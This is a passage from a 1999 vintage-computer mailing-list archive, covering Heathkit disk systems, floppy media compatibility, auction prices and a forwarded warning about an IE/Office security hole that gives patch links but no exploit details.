of match the H89/Z90 machines. Color was the same --that greyish color, drives mounted vertically side-by-side, the front panel sloped back about 10 - 15 degrees. The H8-37 disk controller replaced the H8-17 controller used with your system. There also were both hard and soft sectored controller boards for the 89/90 machines. As for your other two cases, the one with the 5 1/4" drives would be a '37 if it was as described above. Now, for the 8" unit, if you've got an H47 (which I've _never_ seen, just have a manual and controller board) then you'd have an H8-47 controller board plugged into the H8 bus The H47 controller has a simple SASI interface and two serial ports. The '17 and '47 could work together I believe (Barry W.?) If you have an H27, then the box would look similar to the H8 and H11 but be bigger and a couple hundred pounds heavier (well, it dang sure as heck seems like it). And, it would not work with the H8, only an H11. I have all of the above in my collection except for the H47. I built the H8 system myself in '82/'83; recently obtained two of the H11 systems and found a partial H89 10 - 12 years ago. As for the soft sector conversion you mentioned, I don't really recall such a thing but these machines could certainly be hacked. I wonder if the software was hacked for the H17 system to ignore looking for the 10 sector holes yet only notice the index hole thus utilizing a s/s floppy? (again, Barry?) -- Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From Philip.Belben at pgen.com Thu Jan 21 10:27:55 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:23 2005 Subject: OT: Alien Media (was Disasters and Recovery) Message-ID: <80256700.005D456B.00@WESTD90.pgen.co.uk> > It was thus said that the Great Philip.Belben@pgen.com once stated: >> >> I'd like to define it in terms of SI units, but the Kilogram is not too >> easy (yet). > > Really? The meter is defined (certain frequency of light from a certain > element for so many waves yada yada). Sea level is defined (don't know the > SI unit, but 780 millibars of pressure). Celcius is defined (0 is freezing > point of pure water at sea level, 100 boiling point of pure water at sea > level) and that's all you need to define the gram: one cubic centimeter of > water at 4C at sea level. That also gets you volume (liters). Well, sort of. The definition of a metre is actually 1/299792458 of the distance travelled by light in vacuo in one second. Wavelengths of the orange-red line in the spectrum of Krypton-86 went out long enough ago to qualify for this list at least! The definition of the kilogram is _still_ afaik "the mass of the international prototype kilogram" (or kilogramme, I suppose). And FWIW sea level pressure is 1013 millibars. 760 millimetres of mercury. But kilogram = mass of 1 cubic decimetre of pure water is probably accurate enough for most purposes as long as you don't have too much deuterium or oxygen-18. BTW Celsius isn't an SI unit. SI unit of temperature is the [degree] Kelvin (K, written without the degree sign), defined as 1/273.16 of the absolute temperature of the triple point of, oh no! It's water again! Again, specify hydrogen-1 and oxygen-16 and it's probably accurate enough... See. Not as easy as it sounds, but still possible. If you allow non-SI definitions, start with: Second = 1/86400 mean solar day (that changes only by a couple of percent every million years - enough that dinosaurs had a 400 day year, and ancient Babylonians observed eclipses a few tens of miles from where modern astronomers predicted them or at the wrong time of day) Metre = 1/40000000 circumference of Earth. Originally 1E-7 distance from N Pole to Equator through (I think) Paris. (Longer than SI metre by 0.02%) Then proceed as above with Celsius and volumes of water... Philip. From cfandt at netsync.net Thu Jan 21 13:30:09 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks In-Reply-To: <01be456b$e33d1180$f9c962cf@devlaptop> Message-ID: <4.1.19990121140246.00b23370@206.231.8.2> At 01:28 PM 1/21/99 -0500, you wrote: >> >>I have the H-17. What is the H-37 as I don't recognize it by that number? >>I have other two cases, one with dual full height 5 1/4" drives and the >>other with dual 8" drives, but I don't know the model number at the moment. > > >The one with the 8" are the H27, I think... Yes, for the H-11 computer. The 8" drive for the H-8 was the H47. The H47 was costly and unreliable. As a result, not too many sold. -- Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From ard at p850ug1.demon.co.uk Thu Jan 21 12:25:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <802566FF.00594B60.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 20, 99 04:17:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 910 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/106c1aac/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 12:29:01 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Heath H/Z 19 terminals In-Reply-To: <3.0.6.16.19990120190714.282f445a@earthlink.net> from "Dave Dameron" at Jan 20, 99 07:07:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 482 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/a1fae0de/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 12:32:48 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <36A6907A.DE77630C@texoma.net> from "James L. Rice" at Jan 20, 99 08:27:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 841 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/3485f7cc/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 12:39:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Looking for pointers to old Control Data software In-Reply-To: <36A6CB0B.8B556A8E@digiweb.com> from "Hans B Pufal" at Jan 21, 99 07:36:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 739 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/79be5d7b/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 12:42:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Free Stuff! In-Reply-To: <3.0.1.16.19990121095823.2c9f82a2@intellistar.net> from "Joe" at Jan 21, 99 09:58:23 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 472 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/1483eb35/attachment.ksh From Hans.Franke at mch20.sbs.de Thu Jan 21 14:58:39 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:23 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901201402.JAA04785@pechter.nws.net> References: <3.0.16.19990119172141.5f1f655c@ricochet.net> from Uncle Roger at "Jan 19, 99 09:39:57 pm" Message-ID: <199901211959.TAA11827@nixpbe.pdb.sni.de> > > >::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > > >::heard about sold for over $100. > > >Okay, I'll bite: what's a Zorba? > > Suitcase luggable, CP/M, much like the Kaypro. The company that made the > > Zorba was supposedly coming out with another model, but I don't know if > > they ever did. > Well, actually they had two models. The Zorba and the Nomis. > The Nomis (Simon spelled backwards) was just a 98tpi Zorba. > They had a third model designed (kind of like the Osborne Executive) > which had user loadable terminal emulation as well as floppy emulation, > but it never got out. I heared the Zorba was build to fit some Army specs that an Osborne can't do ... don't know if it's true, but at least I whish I had one. Gruss H. -- Ich denke, also bin ich, also gut HRK From lemay at cs.umn.edu Thu Jan 21 14:04:54 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:23 2005 Subject: Looking for pointers to old Control Data software In-Reply-To: from Tony Duell at "Jan 21, 1999 06:39:09 pm" Message-ID: <199901212004.OAA29097@thorin.cs.umn.edu> > > > I've tried contacting the lastest version of CDC and they offer no help > > > whatsoever. Even refused to allow me to release copies of any of their > > > old manuals "for liability reasons." (don't get me started!) > > > > That makes me sooo mad.... > > It makes me mad as well. > > Does anyone know a friendly lawyer? Is there any form of legal wording > that can be used so that the company can't _possibly_ be held liable for > anything? If not, then there needs to be ;-) > Just use the wording on that Apartment lease my landlord tried to get me to sign... the landlord wants to be able to sue me for any reason whatsoever, and win or lose, i have to pay for his team of lawyers and such.. -Lawrence LeMay From pechter at monmouth.com Thu Jan 21 14:05:29 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:23 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901211959.TAA11827@nixpbe.pdb.sni.de> from Hans Franke at "Jan 21, 99 08:59:39 pm" Message-ID: <199901212005.PAA00839@pechter.nws.net> > I heared the Zorba was build to fit some Army specs that an Osborne > can't do ... don't know if it's true, but at least I whish I had one. > > Gruss > H. They did show it in a jeep in the Gemini ad but it wasn't really built like a tank. (Which is how I can usually tell mil-spec hardware). I might be willing to unload mine. When I hear one went for $400 on E-Bay. I think, HEY -- NEXT BUYER -- HERE I AM... I've even got the prints and manuals. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From lwalker at mail.interlog.com Thu Jan 21 09:07:49 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:23 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <199901211452.GAA10088@oa.ptloma.edu> References: <199901210347.UAA23825@calico.litterbox.com> from "Jim Strickland" at Jan 20, 99 08:47:12 pm Message-ID: <199901212007.PAA22506@smtp.interlog.com> On 21 Jan 99 at 6:52, Cameron Kaiser wrote: > ::Last I checked my local Mac shop still sold DD 3.5 inch disks. Also, I > ::*think* > ::that unlike 5.25 inch disks it's safe to use 3.5 inch HD disks on DD drives. > ::It DOES tend to confuse drives that do know what to do with HD, but if you're > ::only doing DD it works, I think. > > Unfortunately, it won't. Some later mechanisms might handle them okay, but > older drives and mechs don't have the write signal strength to properly > operate with denser media. Upshot is, they write unreliably. I have this > problem with my 1581 disk drive. > > -- This is also true with the Atari STs as I found out to my dismay 4-5 years ago when I lost some valuable data I thought I had backed up, even tho it had seemingly written OK to the disks. I have a stash of 720s that I got at a sell-off price from a surplus electronics store. Altho you can still get them the local suppliers charge more for them than the HD ones. ciao larry lwalker@interlog.com From jim at calico.litterbox.com Thu Jan 21 14:19:52 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:23 2005 Subject: E-bay trauma In-Reply-To: <199901211734.MAA29877@mail.cgocable.net> from "jpero@cgocable.net" at Jan 21, 1999 12:36:12 PM Message-ID: <199901212019.NAA27599@calico.litterbox.com> > Exactly! It's bad enough to trumpt there's one while someone is > trying to score a deal but suddenly many come out of woodwork > and bidding prices fly so high enough to knock off moon. > > Please! Keep it quiet and leave people to find it and when one > score a deal then their choices to announce or whatever their > preferances are. > > > John > > Jason D. > While I disagree entirely with this line of reason - look, if you're on e-bay, all you have to do to make sure you get something is pay more than the other guy, so put up or... you know. - I DO get tired of the constant "check out this on e-bay" notes. Of course, all I have to do is delete them, so it's not a big deal. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From fmc at reanimators.org Thu Jan 21 14:07:25 1999 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:40:23 2005 Subject: Free Stuff! In-Reply-To: ard@p850ug1.demon.co.uk's message of Thu, 21 Jan 1999 18:42:17 +0000 (GMT) References: Message-ID: <199901212007.MAA00573@daemonweed.reanimators.org> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > I found two Corvus Systems PC Bus Transporter cards that fit 8 bit ISA > > slot. I don't need them. Anyone can have them for the cost of shipping. > > If anyone ends up with these, I spent a bit of time hacking around on > Transputers (including making a hand-wired transputer board) and I have a > shelf of docs for them. Tony is probably realizing his case of classiccmp aphasia right now, but Transporter != Transputer. The Corvus Transporter cards are Omninet interfaces, and if they have CPUs on them they are probably 8-bit 680x. -Frank McConnell From cisin at xenosoft.com Thu Jan 21 14:30:40 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:23 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901210347.UAA23825@calico.litterbox.com> Message-ID: [I am using the popular names (such as "360K", rather than more technically correct designations.] The most important parameter is the magnetic coercivity. "360K" is 300 Oerstedt. "1.2M" is 600 Oerstedt. Therefore, the two will not interchange satisfactorily. Unlabeled disks can sometimes be differentiated by color. If a disk has a reinforcer around the center hub, then it is probably a 360K, although it COULD be an after-market reinforcer (jigs used to be available.) If there is NOT a reinforcer, then it is either a 1.2M, or a very early "360K" "720K" is 600 Oerstedt. "1.4M" is about 750 Oerstedt. Therefore, although there is SOME loss of reliability, the probability of "getting away with" the wrong media is actually pretty good. IF the drive has a media sensor, then you would need to punch the additional hole, or cover the hole, depending on which WRONG combination you are attempting. There ain't no sech thing as a 1.44M disk. The IBM style of HD 3.5 has 2 sides, 80 tracks per side, 18 sectors per track, and 512 bytes per sector. If you multiply that out, you get 1.406 HONEST Megabytes (1048576). The only way to get 1.44 out of that is to creatively redefine a Megabyte to be 1024000 bytes. That leaves IBM in the position of claiming that a megabyte of memory is 1048576 bytes, but that a megabyte of disk space is 1024000 bytes! If IBM ran a donut shop, how many donuts would there be in a dozen??? DS v SS (5.25"): The disks are manufactured the same, but the difference is whether BOTH sides are tested and/or "certified". Using DS for SS is acceptable. Using SS for DS is taking a chance on using untested media. There used to be rumors that SS disks were repackaged DS ones that had FAILED testing on one side; but the realities of volume production make that seem unlikely. "Flippy": The second side can often be used in a single sided drive by flipping the disk over. In the case of Apple ][ and Commodore, it requires punching a write enable notch. (Which does NOT need to be square.) On TRS-80, IBM, etc, it is necessary to also punch an additional (symmetric) access hole for the index hole. (jigs for marking and punching used to be available.) DS V SS (8"): The index hole opening is in a different location. Punching a new hole through the jacket normally works OK. 720K 5.25" v 360K 5.25": again, an issue of testing/certification, similar to SS v DS. At least for a while, they were manufactured the same, but were tested/certified for 48tpi or 96 tpi. Hard-sectored v soft-sectored: In a system that does not use the index hole (Commodore, Apple ][), it doesn't matter. In all others, the only way to use the wrong diskette would be to modify the drive to index off of the spindle instead of using the sensor. 3", 3.25": Many newbies will get sloppy in reference to 3.5" diskettes, without realizing that there actually were 3" and 3.25" diskettes. 3" were used by Amstradt, some non-US Canon?, and Amdek add-on drives for Coco and Apple ][. 3.25" was used only by Chameleon 325 (that I know of). Dysan bet the company on 3.25"; but that's another story. Anyone have any extra 2.5" or 3.9" that you'd like to trade for 3" or 3.25"? -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cmcmanis at freegate.com Thu Jan 21 14:36:10 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:23 2005 Subject: Berman prices Message-ID: <4.1.19990121123236.00ae86b0@mailhost.hq.freegate.com> I don't know if it's on topic but I got back my bid report from Berman and some folks have asked me to record the prices so here they are: (Berman == www.berman.com) A pallet of four NeXT cubes w/Monitors and drives $325 A pallet of Tektronix plugins $297 An SGI Crimson Server $210 A Sun 4/330 (Dual CPU) Server $60 A set of three SparcStation IIs $501 A complete Mac IIci (printer, monitor the works) $70 Cheers, --Chuck From doug at blinkenlights.com Thu Jan 21 14:37:47 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:23 2005 Subject: Berman prices In-Reply-To: <4.1.19990121123236.00ae86b0@mailhost.hq.freegate.com> Message-ID: On Thu, 21 Jan 1999, Chuck McManis wrote: > A pallet of four NeXT cubes w/Monitors and drives $325 Only $80 a cube!? We'll have to send Marvin over there to fix that :-) Did you buy at that price? -- Doug From jpero at cgocable.net Thu Jan 21 14:42:45 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:23 2005 Subject: (IBM) PC RTproblems In-Reply-To: <10421fa5.36a77acd@aol.com> Message-ID: <199901212041.PAA03701@mail.cgocable.net> Date sent: Thu, 21 Jan 1999 14:06:53 EST Send reply to: classiccmp@u.washington.edu From: SUPRDAVE@aol.com To: "Discussion re-collecting of classic computers" Subject: Re: (IBM) PC RTproblems > In a message dated 1/21/99 1:23:18 PM EST, jpero@cgocable.net writes: > somewhere in command central i have a list of all the checkpoint codes for the > RT but i cannot find it right now. 99 means missing boot files IIRC. To add, I'm trying to boot up the RT without HD and extras, just FD, the real PC 8bit mono video card with parallel port and the memory, CPU card. FAQ doesn't clarify what I must have installed in the RT box to work properly. Jason D. > > david > From Hans.Franke at mch20.sbs.de Thu Jan 21 16:00:05 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:23 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901212005.PAA00839@pechter.nws.net> References: <199901211959.TAA11827@nixpbe.pdb.sni.de> from Hans Franke at "Jan 21, 99 08:59:39 pm" Message-ID: <199901212101.VAA14858@nixpbe.pdb.sni.de> > > I heared the Zorba was build to fit some Army specs that an Osborne > > can't do ... don't know if it's true, but at least I whish I had one. > They did show it in a jeep in the Gemini ad but it wasn't really > built like a tank. (Which is how I can usually tell mil-spec hardware). Aha. > I might be willing to unload mine. When I hear one went for $400 on E-Bay. > I think, HEY -- NEXT BUYER -- HERE I AM... Next buyer, next price - but to keep you happy, I'll keep the numbers you used - so whats about USD 4.00 ? > I've even got the prints and manuals. Jep, should be included at this high price for shure .) Gruss H. -- Ich denke, also bin ich, also gut HRK From marvin at rain.org Thu Jan 21 15:02:09 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:23 2005 Subject: IE 4/Office 97 Security Hole References: Message-ID: <36A795D1.131FFDF@rain.org> I just heard of a vulnerability of people using IE 4 and Office 97. It checks out at the MS site, and am just passing it along (although I realize it is OT.) > GAPING SECURITY HOLE IN IE/OUTLOOK AND OFFICE > ~~~~~~~~~~~~~~~ > Listen up, people. This is serious. Probably the most > important article that's ever appeared in Woody's Office > Watch. > > WOWser DavidF wrote to me last week with a masterful, > amazing hack that exploits the largest Office security hole > I've ever seen. No, I'm not going to tell you the details > of how the security hole works (Microsoft will give some > broad info) - and I sure as hell hope nobody else drops > enough hints to teach some %$#@! idiot malware writer how > to do it. But I will tell you what it does. If you have > Office installed, and you use Internet Explorer to view an > infected Web page, that page - without your knowledge, or > any action on your part - can wreak havoc on your system. > It can drop a virus, delete a folder, scramble data, send > your tax files to Timbuktu... anything. Similarly, if you > use Outlook 98 or later to view an infected HTML message, > that message - with no action on your part - can do > anything to your system. > > Anti-virus legend Dr. Vesselin Bontchev confirmed DavidF's > report by showing me an HTML file that exploits the > security hole. It's... scary. It's way too easy to > exploit, unlike some more obscure security problems you > don't have to be a 'rocket scientist' to spread trouble. > For that reason, WOW has decided to be quick about warning > our readers to get the protective patch before examples of > this spread 'in the wild'. > > DavidF told me, "I'm a bit surprised this isn't more widely > known. I notified the IE team of it long ago..." As in the > past WOW has been able to bypass Microsoft's bureaucracy > and quickly get the details to the people who matter. Once > we passed along David's news to the right levels inside > > Microsoft, the offal hit the impellers, a team has been > working day and night for the last few days to find a fix. > Microsoft will be posting that fix in the next few hours. > That's why we held off on sending WOW to you this week - to > make sure the fix was ready and that it works. It does. > > Let me make this really clear. Every single Office user who > also uses Internet Explorer or Outlook 98 or later, MUST > INSTALL THIS PATCH. It's only a matter of time before some > %$#@! cretin figures out how to exploit this hole. You - > and everyone you know - needs protection NOW. > > There's actually TWO security patches out today. We're > particularly concerned with the Word 97 Template patch, but > you should get the Forms 2.0 patch as well. More info on > both problems below. > > WORD 97 TEMPLATE PATCH > Microsoft Security Bulletin: > http://www.microsoft.com/security/bulletins/ms99-002.asp > Office Update Download Page: > http://officeupdate.microsoft.com/downloaddetails/wd97sp.htm > > FORMS 2.0 CONTROL PATCH > Office Update Download Page: > http://officeupdate.microsoft.com/downloaddetails/fm2paste.htm > Microsoft Security Bulletin: > http://www.microsoft.com/security/bulletins/ms99-001.asp > > Please. Take a few seconds to forward this article to > everyone you know who doesn't subscribe to WOW. Urge them > in no uncertain terms to get the patches, and apply them > immediately. > > >====================================================== >Don Cooley / San Jose CA / dcooley@dnai.com . Go to >http://prostate-help.com to join the Prostate-Help Mailing List, >subscribe to the Newsletter, find my cancer story and family >history. To discuss our prostate cancer call me at 408-268-6400 >====================================================== From ard at p850ug1.demon.co.uk Thu Jan 21 15:02:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks In-Reply-To: <4.1.19990121140450.00b211c0@206.231.8.2> from "Christian Fandt" at Jan 21, 99 02:29:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2299 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/3aaa8f98/attachment.ksh From cmcmanis at freegate.com Thu Jan 21 15:17:26 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:23 2005 Subject: Berman prices In-Reply-To: References: <4.1.19990121123236.00ae86b0@mailhost.hq.freegate.com> Message-ID: <4.1.19990121131602.00aa3480@mailhost.hq.freegate.com> >Only $80 a cube!? We'll have to send Marvin over there to fix that :-) >Did you buy at that price? No, I just bid a bit so that I would get the actual price it went for, I'm not much of a NeXT fan. I am a bit irriated that the Sun 4/330 when for $60 when I bid $56 for it. In retrospect I would have paid up to $75 for it so I should have bid that. --Chuck From lemay at cs.umn.edu Thu Jan 21 15:18:35 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:23 2005 Subject: E-bay trauma In-Reply-To: <199901212019.NAA27599@calico.litterbox.com> from Jim Strickland at "Jan 21, 1999 01:19:52 pm" Message-ID: <199901212118.PAA29214@thorin.cs.umn.edu> > > Exactly! It's bad enough to trumpt there's one while someone is > > trying to score a deal but suddenly many come out of woodwork > > and bidding prices fly so high enough to knock off moon. > > > > Please! Keep it quiet and leave people to find it and when one > > score a deal then their choices to announce or whatever their > > preferances are. > > > > > John > > > > Jason D. > > > > While I disagree entirely with this line of reason - look, if you're on e-bay, > all you have to do to make sure you get something is pay more than the other > guy, so put up or... you know. - I DO get tired of the constant "check out > this on e-bay" notes. Of course, all I have to do is delete them, so it's not > a big deal. > > Jim Strickland > So logically, if no-one, including us, ever buys an old computer, the prices will be very low. of course, this does us no good, since if we buy computers, then the prices will skyrocket again ;) ;) And no-one will bother trying to sell old computers if they know theres no chance to ever make any money that way.. -Lawrence LeMay From eric at brouhaha.com Thu Jan 21 15:23:33 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:23 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: <36A795D1.131FFDF@rain.org> (message from Marvin on Thu, 21 Jan 1999 13:02:09 -0800) References: <36A795D1.131FFDF@rain.org> Message-ID: <19990121212333.25699.qmail@brouhaha.com> > and am just passing it along (although I realize it is OT.) This is a reasonably high volume list already. I don't mind the occasional off-topic discussion (and I suppose I've been guilty of participating in some), but usually they at least start from something that is on-topic. If people really care about this junk (which can be easily avoided by simply not running IE), they can subscribe to bugtraq. If every time there is a vulnerability in IE it were to be posted to this list, it would completely drown out the discussion of classic computers. I'll be entirely delighted to see discussions of IE and Office 97 on this list in 2007. Actually, that's not true. If that's what we are discussing here in 2007, I'll be looking for a list with a charter to discuss computers at least 20 years old. As it is, I already would like to see the charter amended to exclude all IBM-compatible x86 systems, but there are some people that actually LIKE the damned things, so it's apparently not going to happen. Eric From dastar at ncal.verio.com Thu Jan 21 15:31:46 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:23 2005 Subject: IE 4/Office 97 Security Hole In-Reply-To: <36A795D1.131FFDF@rain.org> Message-ID: On Thu, 21 Jan 1999, Marvin wrote: > I just heard of a vulnerability of people using IE 4 and Office 97. It > checks out at the MS site, and am just passing it along (although I realize > it is OT.) > > > GAPING SECURITY HOLE IN IE/OUTLOOK AND OFFICE I don't know what all the fuss is about. I fixed this problem long ago by refusing to use any Microsoft internet products. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From marvin at rain.org Thu Jan 21 15:54:15 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:23 2005 Subject: Hard Sector Disks References: <4.1.19990121140246.00b23370@206.231.8.2> Message-ID: <36A7A207.6954C3AA@rain.org> Christian Fandt wrote: > > At 01:28 PM 1/21/99 -0500, you wrote: > >> > >>I have the H-17. What is the H-37 as I don't recognize it by that number? > >>I have other two cases, one with dual full height 5 1/4" drives and the > >>other with dual 8" drives, but I don't know the model number at the moment. > > > >The one with the 8" are the H27, I think... > > Yes, for the H-11 computer. The 8" drive for the H-8 was the H47. The H47 > was costly and unreliable. As a result, not too many sold. Interesting enough, I had a brochure (Heath/Zenith) for the HS-37 sitting right here beside the computer. I don't know if that is the same as the H-37,but the specs on this are: Recording Double Sided Tracks per Inch 96 Tracks per Diskette 160 RPM 300 Capacity (Unformated) 1 MB A Z-89-37 controller board is required to use these drives. The pictorials showing the hookup show an "All-In-One Computer" which looks a lot like the H-89. From ai705 at osfn.org Thu Jan 21 16:11:02 1999 From: ai705 at osfn.org (Stephen Dauphin) Date: Sun Feb 27 18:40:23 2005 Subject: Probably OT - Bugtraq (Was Re: [OT] Re: IE 4/blah, blah... In-Reply-To: <19990121212333.25699.qmail@brouhaha.com> Message-ID: On 21 Jan 1999, Eric Smith wrote: > > and am just passing it along (although I realize it is OT.) > > This is a reasonably high volume list already. I don't mind the occasional > off-topic discussion (and I suppose I've been guilty of participating in > some), but usually they at least start from something that is on-topic. If > people really care about this junk (which can be easily avoided by simply not > running IE), they can subscribe to bugtraq. If every time there is a Yes, that was a comet that didn't even enter our solar system proper. However if you are going to reference something (bugtraq), which may or may not have some useful purpose, could you provide specifics? Not everyone is at the same guru level as you. Is it run by MS or is it an unconnected party? Is it paper or online? Web site or list or newsgroup? Cost money or free? Does it cover only current software or is older material mentioned? Is there an archive of material? Otherwise one has to fire up a browser and pop a query into one's favorite search engine with no guarantee of success. I believe this is the reason a fair amount of leeway is given to OT material. At some point,...eventually..., some chunk of useful information will become apparent in the hundreds of words expended on the OT subject. -- Steve From donm at cts.com Thu Jan 21 16:26:45 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:23 2005 Subject: Looking for pointers to old Control Data software In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Tony Duell wrote: > > > I've tried contacting the lastest version of CDC and they offer no help > > > whatsoever. Even refused to allow me to release copies of any of their > > > old manuals "for liability reasons." (don't get me started!) > > > > That makes me sooo mad.... > > It makes me mad as well. > > Does anyone know a friendly lawyer? Is there any form of legal wording > that can be used so that the company can't _possibly_ be held liable for > anything? If not, then there needs to be ;-) Haven't they already used that in the shrink-wrap license? - don > Of course I'm the sort of person who doesn't drag people into court for > no good reason. I am quite happy to accept the normal English meaning of > 'no support', 'sold as seen', 'parts or repair only', etc. I just wish > the rest of the world would do the same. > > -tony > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From jfoust at threedee.com Thu Jan 21 16:32:19 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:23 2005 Subject: Looking for pointers to old Control Data software In-Reply-To: References: Message-ID: <3.0.5.32.19990121163219.00a2db80@pc> I recently picked up a large disk platter labelled "CDC Model 848-8" in a blue case. How many megs is this? - John From sinasohn at ricochet.net Thu Jan 21 16:33:37 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:23 2005 Subject: eBay Finds (was: Ebay Posts was...) Message-ID: <3.0.16.19990121143348.4db736d0@ricochet.net> At 10:01 AM 1/21/99 -0800, you wrote: >One thing I find interesting is that I rarely find anyone talking about >their finds on ebay; why not? okay, I was waiting until I was able to do more research, but... For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie you think? Well, for starters, from what I can tell, it beats the Gavilan out for second place in the Clamshell laptop race (GRiD Compass was first). On top of that, it beats the Gavilan for: removeable program/data cartridges (uses Bubble Memory carts) clamshell with a built-in portable printer, and something else I forget at the moment. It's pretty cool, and a lot cheaper than some of the commoner stuff I've gotten. Other eBay scores: V-Marc 88a portable computer, NEC PC-8201 (not the 8201A), I'm sure there are more, but I have to go pick up my dad. eBay can be useful, but it's takes time to look for old computers. Try doing a search on "Donald Duck" (with the quotes) -- that's a piece of cake. Look for computer and you get a lot of junk. Look for "vintage" and you miss a lot. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From rhblake at bigfoot.com Thu Jan 21 16:35:26 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:23 2005 Subject: FS: Add-in 2 Serial/2 Parallel cards Message-ID: <36A7ABAD.A0E458@bigfoot.com> I have a bunch of DFI serial/parallel adapters for sale for $7.50 each ($20 for 3) plus shipping, with docs. They have the Winbond chipset that includes 16550 UARTS and 